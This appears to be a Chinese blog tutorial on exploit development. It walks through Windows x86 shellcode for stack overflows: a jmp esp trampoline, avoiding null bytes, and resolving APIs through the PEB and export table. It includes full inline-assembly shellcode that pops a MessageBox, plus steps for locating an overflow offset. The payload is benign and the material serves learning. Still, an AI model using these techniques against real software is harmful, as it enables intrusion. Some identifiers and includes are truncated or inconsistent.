【逆向】软件漏洞shellcode

文章目录

  • 简单shellcode
    • 简单shellcode存在的问题
    • 优化shellcode
    • shellcode调试
    • 寻找溢出点位置的方法
    • shellcode瘦身

简单shellcode

简单shellcode存在的问题

  1. 利用xdbg工具查找的栈中shellcode起始地址,用该地址淹没返回地址,这个地址会经常发生变化,须找到一个能动态定位到shellcode起始地址的办法。

    解决方法:因为执行完ret后,除了eip的值被修改了,esp的值此时能刚好存放shellcode的起始位置。因此只需要从系统调用的dll文件中找到jmp esp这条语句(一般格式为0x7xxxxxxx),将这条语句的位置放到返回地址,就能够以它为跳板转移到shellcode执行位置。因为jmp esp这条语句是系统调用的dll文件中的语句,因此不会轻易改变。

  2. shellcode中存在0x00导致shellcode被截断

    解决方法:因为shellcode的注入方法都是通过程序输入字符串的位置进行注入,因此如果shellcode中出现了0x00,就会导致shellcode提前被截断,这样就无法直行shellcode原本的功能。

    1. 可以使用xor edi,edi; push edi; 用edi来替换原本shellcode中出现的0x00,避免shellcode出现0x00
  3. 程序执行完shellcode后,不能正常退出。

    解决方法:从系统调用的dll文件中找到ExitProcess函数的位置,在shellcode后面加上

    mov eax, 0x7xxxxxxx; //ExitProcess
    push 0;
    call eax;
    
  4. 一些常用的函数的地址被写死了,例如MessageBox、ExitProcess函数

    解决方法:TEB、PEB从kernel32.dll文件中找到这些函数

优化shellcode

#include
#include

void _declspec(naked)shellCode() {
	_asm {
		// 1. 保存想要找的函数名的字符串
		/*
		LoadLibraryA:	4C 6F 61 64 4C 69 62 72 61 72 79 41 00        长度:0xD
		GetProcAddress:47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00  长度:0xF
		user32.dll:	75 73 65 72 33 32 2E 64 6C 6C 00			  长度:0xB
		MeesageBoxA:	4D 65 73 73 61 67 65 42 6F 78 41 00			  长度:0xC
		hello 51hook:	68 65 6C 6C 6F 20 35 31 68 6F 6F 6B 00		  长度:0xD
		*/
		pushad
		sub esp, 0x30 // 开辟一段栈空间,增加健壮性
		// hello 51hook
		mov byte ptr ds : [esp - 1] , 0x0 // 因为最后多出了一个0x00,如果简单使用push的话,会造成内存的浪费,因此可以使用mov来进行单字节压栈
		sub esp, 0x1
		push 0x6B6F6F68
		push 0x3135206F
		push 0x6c6c6568
		// MessageBoxA
		push 0x41786f
		push 0x42656761
		push 0x7373654d
		// user32.dll
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		mov ax, 0x6c6c
		mov word ptr ds : [esp - 2] , ax
		sub esp, 0x2
		push 0x642e3233
		push 0x72657375
		// GetProcAddress
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		mov ax, 0x7373
		mov word ptr ds : [esp - 2] , ax
		sub esp, 0x2
		push 0x65726464
		push 0x41636f72
		push 0x50746547
		// LoadLibraryA
		mov byte ptr ds : [esp - 1] , 0x0
		sub esp, 0x1
		push 0x41797261
		push 0x7262694c
		push 0x64616f4c
		mov ecx, esp
		push ecx
		call fun_payload


		// 2.通过FS寄存器获取kernel32.dll的基址
	fun_GetModule:
		push ebp
		mov ebp, esp
		sub esp, 0xc
		push ecx

		mov esi, dword ptr fs : [0x30]//PEB地址
		mov esi, [esi + 0xc]//LDR结构体地址
		mov esi, [esi + 0x1c]//list
		mov esi, [esi]//第二项 kernel32.dll或者kernelbase.dll的信息
		mov eax, [esi + 0x8]//kernel32.dll的dllbase(该PE文件的基址)

		pop ecx
		mov esp, ebp
		pop ebp
		retn

		//3.获得导出表,根据导出表查找需要的函数
	fun_GetProcAddr: //该函数包含三个参数(imageBase,funName,strlen)
		push ebp
		mov ebp, esp
		sub esp, 0x10
		push esi
		push edi
		push edx
		push ebx
		push ecx
		
		mov edx, [ebp+0x8] //dllbase //第一个参数
		mov esi, [edx+0x3c] //lf_anew
		lea esi, [esi+edx] //NT头/PE头
		mov esi, [esi+0x78] //导出表的RVA
		lea esi, [edx+esi] //导出表的VA
		mov edi, [esi + 0x1c]//EAT rva
		lea edi, [edx + edi]//EAT va
		mov[ebp - 0x4], edi // 将EAT VA存放到局部变量1中
		mov edi, [esi + 0x20]//ENT rva
		lea edi, [edx + edi]//ENT va
		mov[ebp - 0x8], edi // 将ENT VA存放到局部变量2中
		mov edi, [esi + 0x24]//EOT rva
		lea edi, [edx + edi]//EOT va
		mov[ebp - 0xc], edi// 将EOT VA存放到局部变量3中


		//查找api  esi存放导出表的ENT, edi存放需要查找的函数字符串
		xor eax, eax
		cld //DF清零,这样就会使得repe cmpsb这条指令逐个向后比较两个字符串的每个字符
		jmp tag_begincmp
	tag_cmpLoop :
		inc eax//eax++
	tag_begincmp :
		mov esi, [ebp - 0x8]//函数名称表ENT
		mov esi, [esi + eax * 4]//第一个名称,但这是RVA
		mov edx, [ebp + 0x8]//dllbase
		lea esi, [edx + esi]//函数名称 VA
		mov edi, [ebp + 0xc]//第二个参数 要找的函数名称地址
		mov ecx, [ebp + 0x10]//字符串长度
		repe cmpsb
		jne tag_cmpLoop

		//如果相等的话,eax是数组索引
		mov esi, [ebp - 0xc] //EOT
		xor edi, edi
		mov di, [esi + eax * 2]//word 类型,找到EOT上对应索引的值,该值等于EAT上对应字符串的索引
		mov ebx, [ebp - 0x4]//EAT
		mov ebx, [ebx + edi * 4]//api addr rva
		mov edx, [ebp + 0x8]//dllbase
		lea eax, [edx + ebx]//addr,找到了对应的函数的地址


		pop ecx
		pop ebx
		pop edx
		pop edi
		pop esi
		mov esp, ebp
		pop ebp
		retn 0xc


		

	fun_payload:
		push ebp
		mov ebp, esp
		sub esp, 0x20
		push ecx
		push edx
		push esi
		push edi

		// DLLBASE
		call fun_GetModule
		mov[ebp - 0x4], eax // dllbase,保存为第一个局部变量
		//获取LoadLiabraryA
		push 0xD
		mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
		push ecx
		push eax
		call fun_GetProcAddr
		mov[ebp - 0x8], eax//LoadLibraryA,保存为第二个局部变量

		//获取GetProcessAddr
		push 0xF
		mov ecx, [ebp + 0x8]//第一个参数
		lea ecx, [ecx + 0xd]
		push ecx
		mov edx, [ebp - 0x4]
		push edx
		call fun_getProcAddr
		mov[ebp - 0xc], eax//GetProcessAddr,保存为第三个局部变量

		//调用LoadLibraryA加载user32.dll
		mov ecx, [ebp + 0x8]//第一个参数,就是之前保存的许多字符串中的LoadLiabraryA字符串
		lea ecx, [ecx + 0x1c] // 之前保存的许多字符串中的user32.dll字符串
		push ecx //将user32.dll字符串作为参数传入
		call[ebp - 0x8]//调用LoadLibraryA函数
		mov[ebp - 0x10], eax //user32.dllbase 

		// 调用GetProcessAddr来获取MessageBoxA的地址
		mov ecx, [ebp + 0x8]
		lea ecx, [ecx + 0x27] // 之前保存的许多字符串中的MessageBoxA字符串
		push ecx
		push[ebp - 0x10]
		call[ebp - 0xc] // GetProcessAddr(user32.dllbase, MessageBoxA),结果存放在了eax中

		// pyaload核心部分
		push 0 // 传第四个参数
		push 0 // 传第三个参数
		mov ebx, [ebp + 0x8]
		lea ebx, [ebx + 0x33] // hello 51hook字符串
		push ebx //传第二个参数
		push 0 //传第一个参数
		call eax // 调用MessageBoxA

		pop edi
		pop esi
		pop edx
		pop ecx
		mov esp, ebp
		pop ebp
		retn 0x4

	}
}

int main() {
	printf("hello qinjian");
	shellCode();
	return 0;
}

shellcode调试

#include
#include
char shellcode[] = "xxx"
int main()
{
	printf("51hook");
	_asm
	{
		lea eax, shellcode
		push eax
		retn
	}
	return 0;
}

然后用xdbg来调试一下,就可以单步执行shellcode了

寻找溢出点位置的方法

  1. 输入一段很长的字符串,例如111111111111111111111111111111111111111111111111111111111111111111111111111111111111…,看程序是否崩溃
  2. 如果崩溃了,就去查看电脑->管理->windows日志->找最近的报错->错误偏移量
  3. 如果错误偏移量显示0x31313131,那么证明有溢出漏洞
  4. 然后可以尝试使用一些不重复的字符串,找到溢出点的具体位置,用jmp esp指令的位置替代
  5. 然后将溢出点后面的字符串用shellcode替换掉即可

问题:shellcode使用很多字符串的话会占用大量的栈空间,比如上述代码中就使用了LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook这么多字符串。所以需要瘦身

shellcode瘦身

一般使用hash函数对用到的字符串(例如LoadLibraryA、GetProcAddress、user32.dll、MeesageBoxA、hello 51hook)进行压缩。

你可能感兴趣的:(reverse逆向分析,网络,安全)